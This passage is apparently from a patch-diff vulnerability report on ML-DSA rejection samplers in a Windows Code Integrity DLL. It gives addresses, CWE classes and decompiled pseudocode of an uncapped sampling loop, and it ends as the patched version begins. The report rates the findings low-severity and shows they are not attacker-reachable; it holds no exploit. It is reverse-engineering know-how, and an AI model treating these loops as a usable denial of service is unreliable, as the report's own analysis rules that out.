terminates in a handful of squeezes in all reachable cases, and the cap guards only against a theoretically non-terminating or misbehaving sponge. The severity is accordingly &lt;strong&gt;Low (defense-in-depth)&lt;/strong&gt;, not High.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Uncapped Challenge-Sampling Loop (&lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Low (defense-in-depth)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;Loop with data-dependent exit / unbounded rejection sampling (CWE-835), not attacker-reachable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaSampleInBall (sub_180029FE8)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Entry point&lt;/td&gt;
&lt;td&gt;Signature (&lt;code&gt;c~&lt;/code&gt;) processed during ML-DSA verification in Code Integrity; also the signing path&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; &lt;code&gt;SymCryptMlDsaSampleInBall (sub_180029FE8)&lt;/code&gt; builds the ML-DSA challenge polynomial &lt;code&gt;c&lt;/code&gt;, a degree-255 polynomial with exactly &lt;code&gt;tau&lt;/code&gt; nonzero coefficients of value ±1, placed by a Fisher-Yates-style shuffle. The seed for the shuffle is absorbed into a SHAKE256 sponge via &lt;code&gt;SymCryptKeccakAppend (sub_18002B65C)&lt;/code&gt;. For each index &lt;code&gt;i&lt;/code&gt; running from &lt;code&gt;0x100 - tau&lt;/code&gt; up to &lt;code&gt;0xFF&lt;/code&gt; (where &lt;code&gt;tau = *((uint8_t*)arg1 + 0x18)&lt;/code&gt;), the routine squeezes one byte &lt;code&gt;j&lt;/code&gt; at a time from the SHAKE256 stream via &lt;code&gt;SymCryptKeccakExtract (sub_18002B878)&lt;/code&gt; and rejects it while &lt;code&gt;j &amp;gt; i&lt;/code&gt;. In the unpatched build the inner rejection loop has &lt;strong&gt;no iteration counter&lt;/strong&gt;, which is the CWE-835 shape.&lt;/p&gt;
&lt;p&gt;The patch inserts a counter (register &lt;code&gt;edi&lt;/code&gt;) initialised to 0 and a &lt;code&gt;cmp edi, 0x79 / jnb&lt;/code&gt; check before each squeeze. When the counter reaches 121 for a single index the function stores &lt;code&gt;0x8008&lt;/code&gt; in &lt;code&gt;r14d&lt;/code&gt; and returns it. The counter is reset at the top of each outer index iteration, so the cap is per-index (at most 121 squeezes per accepted coefficient).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why this is defense-in-depth, not an attacker-reachable DoS.&lt;/strong&gt; The bytes the loop tests are SHAKE256 (Keccak) sponge output, not attacker bytes. &lt;code&gt;SymCryptKeccakExtract&lt;/code&gt; regenerates stream bytes on demand by permuting the sponge state; there is no attacker-supplied input buffer being walked past, so there is no memory over-read. The attacker controls only the seed &lt;code&gt;c~&lt;/code&gt;, and SHAKE256 output behaves as a cryptographic random oracle whose bytes cannot be steered by choosing the seed. &lt;code&gt;tau&lt;/code&gt; is a static per-parameter-set constant (39 / 49 / 60 for ML-DSA-44 / -65 / -87) read from the trusted context, not attacker input. Acceptance probability at index &lt;code&gt;i&lt;/code&gt; is &lt;code&gt;(i+1)/256&lt;/code&gt;; the hardest (smallest) index is &lt;code&gt;i = 0x100 - tau&lt;/code&gt;, giving a per-squeeze rejection probability of at most &lt;code&gt;(tau-1)/256 &amp;lt;= 59/256 ~ 0.23&lt;/code&gt;. Reaching even the new 121-iteration cap at a single index therefore has probability on the order of &lt;code&gt;0.23^121 ~ 10^-77&lt;/code&gt; (and &lt;code&gt;~10^-88&lt;/code&gt; / &lt;code&gt;~10^-100&lt;/code&gt; for &lt;code&gt;tau = 49&lt;/code&gt; / &lt;code&gt;39&lt;/code&gt;). An attacker cannot bias the sponge to raise this; forcing the loop to run long would require brute-forcing on the order of &lt;code&gt;10^77&lt;/code&gt; seeds, which is infeasible. In every reachable case the loop terminates in a handful of squeezes, so the uncapped loop is not a usable denial of service. The cap guards only against a theoretically non-terminating or misbehaving sponge.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain (reachable path where the loop runs):&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A caller presents an ML-DSA-signed PE binary or &lt;code&gt;.cat&lt;/code&gt; catalog to a verification path.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaVerify (sub_180020E24)&lt;/code&gt; dispatches to &lt;code&gt;SymCryptMlDsaVerifyEx (sub_180020E68)&lt;/code&gt; (call at &lt;code&gt;0x180020E4F&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaVerifyEx (sub_180020E68)&lt;/code&gt; invokes &lt;code&gt;SymCryptMlDsaSampleInBall (sub_180029FE8)&lt;/code&gt; (call at &lt;code&gt;0x180020FBB&lt;/code&gt;) with the context (arg1, holding &lt;code&gt;tau&lt;/code&gt; at &lt;code&gt;+0x18&lt;/code&gt;), the &lt;code&gt;c~&lt;/code&gt; seed (arg2), its length (arg3), and the output challenge polynomial buffer (arg4, 0x400 bytes / 256 int32 coefficients).&lt;/li&gt;
&lt;li&gt;Inside &lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt;, &lt;code&gt;SymCryptKeccakAppend (sub_18002B65C)&lt;/code&gt; absorbs the seed into a SHAKE256 sponge at &lt;code&gt;[rsp+0x30]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The inner loop at &lt;code&gt;0x18002A0A6–0x18002A0C2&lt;/code&gt; squeezes bytes with no counter; per the probability above it terminates quickly in all reachable cases.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The same routine is also reached from &lt;code&gt;SymCryptMlDsaSignEx (sub_18002097C)&lt;/code&gt; on the signing side (call at &lt;code&gt;0x180020C38&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;Finding #2 — Dropped Error from Rejection-Sampling Sub-Step&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;Low (defense-in-depth)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;Unchecked return value (CWE-252), companion to Finding #1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaExpandS (sub_180029184)&lt;/code&gt; and &lt;code&gt;SymCryptMlDsaExpandA (sub_180028FE4)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Entry point&lt;/td&gt;
&lt;td&gt;Same ML-DSA verification / key-derivation paths as Finding #1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; The vector-expansion helpers call the per-polynomial rejection samplers in a loop and, in the unpatched build, &lt;strong&gt;ignore their return values&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaExpandS (sub_180029184)&lt;/code&gt; calls &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_180029D6C)&lt;/code&gt; twice (for the &lt;code&gt;s1&lt;/code&gt; and &lt;code&gt;s2&lt;/code&gt; secret vectors) and discards the result.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaExpandA (sub_180028FE4)&lt;/code&gt; calls &lt;code&gt;SymCryptMlDsaRejNttPoly (sub_180029F0C)&lt;/code&gt; in a nested loop (to expand the public matrix &lt;code&gt;A&lt;/code&gt; from &lt;code&gt;rho&lt;/code&gt;) and discards the result.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once the samplers themselves are given the new iteration cap (see Finding #3), they can return &lt;code&gt;0x8008&lt;/code&gt;. The unpatched callers would keep iterating and return success regardless, so the new error would be silently lost. The patch makes both callers capture the sampler return value, break out of their loops on any non-zero status, and return that status. The return type of each caller was widened to carry the error code.&lt;/p&gt;
&lt;p&gt;This is a companion to the same hardening: it only has an observable effect if a sampler's new cap fires, which (per Finding #1) does not happen for any reachable input. It is defense-in-depth, not the fix for a reachable unchecked-return bug.&lt;/p&gt;
&lt;h3&gt;Finding #3 — Same Missing Cap in the Sibling Samplers&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Low (defense-in-depth)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;Loop with data-dependent exit / unbounded rejection sampling (CWE-835), not attacker-reachable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaRejNttPoly (sub_180029F0C)&lt;/code&gt;, &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_180029D6C)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Entry point&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rho&lt;/code&gt; (public key) and key material feeding SHAKE256 rejection sampling&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; The two other ML-DSA rejection samplers share the identical shape and receive the identical hardening:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaRejNttPoly (sub_180029F0C)&lt;/code&gt; samples a uniform NTT-domain polynomial (coefficients in &lt;code&gt;[0, q)&lt;/code&gt;) by squeezing 3-byte groups from a SHAKE256 stream keyed on &lt;code&gt;rho&lt;/code&gt; and an index, rejecting values &lt;code&gt;&amp;gt;= q&lt;/code&gt;. The unpatched inner loop has no counter; the patch adds a &lt;code&gt;cmp r14d, 0x12A&lt;/code&gt; (298) cap and returns &lt;code&gt;0x8008&lt;/code&gt; (patched &lt;code&gt;sub_1800272EC&lt;/code&gt;, cap at &lt;code&gt;0x180027369&lt;/code&gt; / error at &lt;code&gt;0x1800273AD&lt;/code&gt;). &lt;code&gt;rho&lt;/code&gt; is part of the public key; as with the challenge seed, it drives a SHAKE256 stream whose output the attacker cannot steer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_180029D6C)&lt;/code&gt; samples a polynomial with coefficients in &lt;code&gt;[-eta, eta]&lt;/code&gt; by squeezing bytes from a SHAKE256 stream and rejecting out-of-range nibbles. The unpatched inner loop has no counter; the patch adds a &lt;code&gt;cmp esi, 0x1E1&lt;/code&gt; (481) cap and returns &lt;code&gt;0x8008&lt;/code&gt; (patched &lt;code&gt;sub_180027128&lt;/code&gt;, cap at &lt;code&gt;0x1800271A6&lt;/code&gt; / error at &lt;code&gt;0x1800272A9&lt;/code&gt;). Reached via &lt;code&gt;SymCryptMlDsaExpandS (sub_180029184)&lt;/code&gt; on the key-derivation / signing side.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each cap is a generous bound on the number of squeeze attempts the algorithm can plausibly need at that stage. As with Finding #1, the tested bytes are SHAKE256 sponge output the attacker cannot bias, so exceeding the cap has negligible probability for any reachable input; the caps are defense-in-depth against a misbehaving sponge, not the fix for a reachable loop.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;SymCryptMlDsaSampleInBall (sub_180029FE8)&lt;/code&gt; — Challenge Sampler&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED (ci_unpatched.dll @ 0x180029FE8) ===&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;SymCryptMlDsaSampleInBall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x400&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// zero challenge poly (256 int32)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sponge&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;// zero SHAKE256 sponge state&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SymCryptWipeAsm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sponge&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// init sponge&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakAppend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sponge&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*..*/&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="c1"&gt;// absorb c~ seed&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sponge&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;local_qword&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="c1"&gt;// squeeze 8-byte sign bits&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// start index = 256 - tau&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;signs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;local_qword&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// sign bit reservoir&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// === UNCAPPED INNER LOOP (CWE-835 shape) ===&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// NO iteration counter, NO upper bound&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sponge&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// squeeze 1 byte from sponge&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// reject; terminates fast for sponge output&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jv&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sbit&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;signs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;signs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;jv&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="c1"&gt;// Fisher-Yates swap&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;jv&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* ±1 with sign from sbit */&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* cleanup */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED (ci_patched.dll @ 0x1800273E0) ===&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
